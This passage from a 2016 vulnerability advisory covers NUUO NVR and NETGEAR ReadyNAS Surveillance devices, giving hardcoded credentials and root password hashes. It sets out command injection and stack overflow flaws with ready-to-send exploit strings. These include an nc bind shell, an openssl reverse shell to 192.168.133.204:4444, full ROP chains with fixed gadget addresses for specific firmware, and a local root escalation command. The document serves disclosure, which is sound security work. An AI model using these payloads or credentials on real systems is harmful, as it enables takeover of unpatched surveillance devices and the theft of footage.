- Other NUUO products that share the same web interface might be affected The web interface contains a hidden page (__nvr_status___.php) with a hardcoded username and password that lists the current system processes, available memory and filesystem status. This information can be obtained by an unauthenticated user by performing the following request: POST /__nvr_status___.php HTTP/1.1 username=nuuoeng&password=qwe23622260&submit=Submit #5 Vulnerability: Harcoded root password CVE-2016-5678 Affected products / versions: - NUUO NVRmini 2, firmware v1.0.0 to 3.0.0 - NUUO NVRsolo, firmware v1.0.0 to 3.0.0 The NVRmini 2 and NVRsolo contain two hardcoded root passwords (one is commented). These passwords have not been cracked, but they are present in the firmware images which are deployed to all NVRmini 2 / NVRsolo devices. NVRmini 2: #root:$1$1b0pmacH$sP7VdEAv01TvOk1JSl2L6/:14495:0:99999:7::: root:$1$vd3TecoS$VyBh4/IsumZkqFU.1wfrV.:14461:0:99999:7::: NVRsolo: #root:$1$1b0pmacH$sP7VdEAv01TvOk1JSl2L6/:14495:0:99999:7::: root:$1$72ZFYrXC$aDYHvkWBGcRRgCrpSCpiw1:0:0:99999:7::: #6 Vulnerability: Command injection in cgi_main transfer license command CVE-2016-5679 Attack Vector: Local / Remote Constraints: Requires an administrator account if exploited remotely; can be exploited locally by any logged in user Affected products / versions: - NUUO NVRmini 2, firmware v1.7.6 to 3.0.0 (older firmware versions might be affected) - ReadyNAS Surveillance, v1.1.2 (x86 and older versions might be affected) The transfer_license command has a command injection vulnerability in the "sn" parameter: cgi_main?cmd=transfer_license&method=offline&sn=";<command>;# Sample exploit for NVRmini2 (open bind shell on port 4444): GET /cgi-bin/cgi_main?cmd=transfer_license&method=offline&sn="%3bnc+-l+-p+4444+-e+/bin/sh+%26+%23 NETGEAR Surveillance doesn't have netcat, but we can get an openssl reverse shell to 192.168.133.204:4444 instead: GET /cgi-bin/cgi_main?cmd=transfer_license&method=offline&sn="%3bmkfifo+/tmp/s%3b+/bin/bash+-i+<+/tmp/s+2>%261+|+openssl+s_client+-quiet+-connect+192.168.133.204%3a4444+>+/tmp/s%3b+rm+/tmp/s%3b%23 > Local exploitation: This vulnerability can be exploited locally by a logged in user to escalate privileges to root on the NVRmini2 and admin on the ReadyNAS with the following command: CGI_DEBUG=qwe23622260 cgi_main transfer_license 'method=offline&sn=<PAYLOAD>' The cgi_main binary is located at "/apps/surveillance/bin/cgi_main" on the ReadyNAS and "/NUUO/bin/cgi_main" on the NVRmini2. #7 Vulnerability: Stack buffer overflow in cgi_main transfer license command CVE-2016-5680 Attack Vector: Local / Remote Constraints: Requires an administrator account if exploited remotely; can be exploited locally by any logged in user - NUUO NVRmini 2, firmware v1.7.6 to 3.0.0 (older firmware versions might be affected) - ReadyNAS Surveillance, v1.1.2 (x86 and older versions might be affected) The "sn" parameter in transfer_license cgi_main method not only has a command injection vulnerability, but also a stack buffer overflow. Below is the pseudocode of the affected function - as it can be seen in the sprintf line, the "sn" parameter is copied directly into a string with a fixed length of 128 characters. Function 0x20BC9C (NVRmini2 firmware v3.0.0): method = getval("method"); sn = getval("sn"); (...) memset(&command, 0, 128); sprintf(&command, "logger -p local0.info -t 'system' \"Activate license: %s\"", sn); system(&command); > For example if the following request is performed: GET /cgi-bin/cgi_main?cmd=transfer_license&method=offline&sn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa > A core file is generated: Core was generated by `/NUUO/bin/cgi_main'. Program terminated with signal SIGSEGV, Segmentation fault. #0 0x61616160 in ?? () (gdb) i r r0 0x0 0 r1 0x0 0 r2 0x407aa4d0 1081779408 r3 0x407aa9e0 1081780704 r4 0x61616161 1633771873 r5 0x61616161 1633771873 r6 0x61616161 1633771873 r7 0x61616161 1633771873 r8 0x331fc8 3350472 r9 0x1 1 r10 0x33db54 3398484 r11 0x0 0 r12 0x1 1 sp 0xbedce528 0xbedce528 lr 0x61616161 1633771873 pc 0x61616160 0x61616160 cpsr 0x60000030 1610612784 (gdb) The request can be sent by an HTTP GET or POST method. > A few registers can be controlled with the sn parameter, as it can be seen in the diagram below for the NVRmini2: sn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa4444555566667777PPPPaaaaaaaaaaaaSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS aaaa: filler PPPP: pc / lr register content, offset 976 4444: r4 register content, offset 962 5555: r5 register content, offset 966 6666: r6 register content, offset 970 7777: r7 register content, offset 974 SSSS: start of stack pointer, offset 992 > On the ReadyNAS Surveillance one additional register (r8) can be controlled: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa44445555666677778888PPPPaaaaaaaaaaaaSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS aaaa: filler PPPP: pc / lr register content, offset 986 4444: r4 register content, offset 968 5555: r5 register content, offset 970 6666: r6 register content, offset 974 7777: r7 register content, offset 978 8888: r8 register content, offset 982 SSSS: start of stack pointer, offset 1002 > Exploit mitigations and constraints The table below shows the exploit mitigation technologies for each target: NVRmini2 ReadyNAS NX Y Y RELRO Partial Partial ASLR N Y An additional constraint to keep in mind is that there can be no null bytes in the exploit as the vulnerability is in the sprintf copy operation (which uses a null byte as the string terminator). > Exploitation in the NVRmini2 (firmware v3.0.0): This example exploit creates a root bind shell on port 4444 using ROP gadgets to bypass NX. The gadgets were taken from libc-2.15.so, which is always loaded at 4066c000 in firmware 3.0.0. 0x00018ba0 : pop {r3, lr} ; bx lr -> located at 40684BA0 (first gadget, sets up r3 for the next gadget) 0x000f17cc : mov r0, sp ; blx r3 -> located at 4075D7CC (second gadget, set up args for system) 0x00039ffc : system() -> located at 406A5FFC (takes the argument from r0 - pointing to sp - and executes it) Payload (in the stack) -> %6e%63%20%2d%6c%20%2d%70%20%34%34%34%34%20%2d%65%20%2f%62%69%6e%2f%73%68%20%26 ("nc -l -p 4444 -e /bin/sh &") Illustration: sn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa{first_gadget}aaaaaaaaaaaa{system()_address}{second_gadget}{stack} Exploit for NVRmini2 firmware v3.0.0 ("sn" parameter value): sn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%a0%4b%68%40aaaaaaaaaaaa%fc%5f%6a%40%cc%d7%75%40%6e%63%20%2d%6c%20%2d%70%20%34%34%34%34%20%2d%65%20%2f%62%69%6e%2f%73%68%20%26 Other firmware versions will have different gadget addresses. On version 3.0.0 it should work without any modification. > Exploitation on ReadyNAS Surveillance (version v1.1.2): To develop this example exploit libcrypto.so.0.9.8 was used. The library is loaded at B6xxx000, where xxx are 4096 possible values for the memory address, as the ReadyNAS has a weak form of ASLR. For this exploit, B6CCE000 was chosen as the target base address (this was chosen randomly from a sample of collected base addresses). The exploit connects a reverse shell to 192.168.133.204:4444 using OpenSSL. The following ROP gadgets were used: 0x000b3d9c : mov r1, sp ; mov r2, ip ; blx r6 -> located at B6D81D9C (first gadget, gets the location of the stack pointer sp, where the shellcode is located, in r1) 0x00008690 : movs r0, r1 ; movs r0, r0 ; movs r2, r2 ; movs r2, r1 ; bx r7 -> located at B6CD6691 as this is a THUMB mode gadget (second gadget, sets up the arguments to system(), putting them into r0) 0xb6ef91bc: fixed system() address when B6CCE000 is chosen as the base address of libcrypto.so.0.9.8 (takes the argument from r0 - pointing to sp - and executes it) Payload: (in the stack) -> %6d%6b%66%69%66%6f%20%2f%74%6d%70%2f%73%3b%20%2f%62%69%6e%2f%62%61%73%68%20%2d%69%20%3c%20%2f%74%6d%70%2f%73%20%32%3e%26%31%20%7c%20%6f%70%65%6e%73%73%6c%20%73%5f%63%6c%69%65%6e%74%20%2d%71%75%69%65%74%20%2d%63%6f%6e%6e%65%63%74%20%31%39%32%2e%31%36%38%2e%31%33%33%2e%32%30%34%3a%34%34%34%34%20%3e%20%2f%74%6d%70%2f%73%3b%20%72%6d%20%2f%74%6d%70%2f%73%20%26 ("mkfifo /tmp/s; /bin/bash -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 192.168.133.204:4444 > /tmp/s; rm /tmp/s &") Illustration: sn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa{second_gadget}{system_address}aaaa{first_gadget}aaaaaaaaaaaa{payload} Exploit for ReadyNAS Surveillance v1.1.2 ("sn" parameter value): sn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%91%66%cd%b6%bc%91%ef%b6aaaa%9c%1d%d8%b6aaaaaaaaaaaa%6d%6b%66%69%66%6f%20%2f%74%6d%70%2f%73%3b%20%2f%62%69%6e%2f%62%61%73%68%20%2d%69%20%3c%20%2f%74%6d%70%2f%73%20%32%3e%26%31%20%7c%20%6f%70%65%6e%73%73%6c%20%73%5f%63%6c%69%65%6e%74%20%2d%71%75%69%65%74%20%2d%63%6f%6e%6e%65%63%74%20%31%39%32%2e%31%36%38%2e%31%33%33%2e%32%30%34%3a%34%34%34%34%20%3e%20%2f%74%6d%70%2f%73%3b%20%72%6d%20%2f%74%6d%70%2f%73%20%26 Note that due to the ASLR in the ReadyNAS his exploit has be attempted at few times in order for it to work. Usually less than 20 tries is enough to get the reverse shell to connect back. > Local exploitation: This vulnerability can be exploited locally by a logged in user to escalate privileges to root on the NVRmini2 and admin on the ReadyNAS with the following command: CGI_DEBUG=qwe23622260 cgi_main transfer_license 'method=offline&sn=<PAYLOAD>' The cgi_main binary is located at "/apps/surveillance/bin/cgi_main" on the ReadyNAS and "/NUUO/bin/cgi_main" on the NVRmini2. It is likely that all other vulnerabilities in this advisory are exploitable by a local attacker, however this has only been tested for the stack buffer overflow. >> Fix: NETGEAR and Nuuo did not respond to CERT/CC coordination efforts (see Timeline below), so no fix is available. Do not expose any of these devices to the Internet or any networks with unstrusted hosts. Timeline: 28.02.2016: Disclosure to CERT/CC. 27.04.2016: Requested status update from CERT - they did not receive any response from vendors. 06.06.2016: Requested status update from CERT - still no response from vendors. Contacted Nuuo and NETGEAR directly. NETGEAR responded with their "Responsible Disclosure Guidelines", to which I did not agree and requested them to contact CERT if they want to know the details about the vulnerabilities found. No response from Nuuo. 13.06.2016: CERT sent an update saying that NETGEAR has received the details of the vulnerabilities, and they are attempting to contact Nuuo via alternative channels. 07.07.2016: CERT sent an update saying that they have not received any follow up from both Nuuo and NETGEAR, and that they are getting ready for disclosure. 17.07.2016: Sent an email to 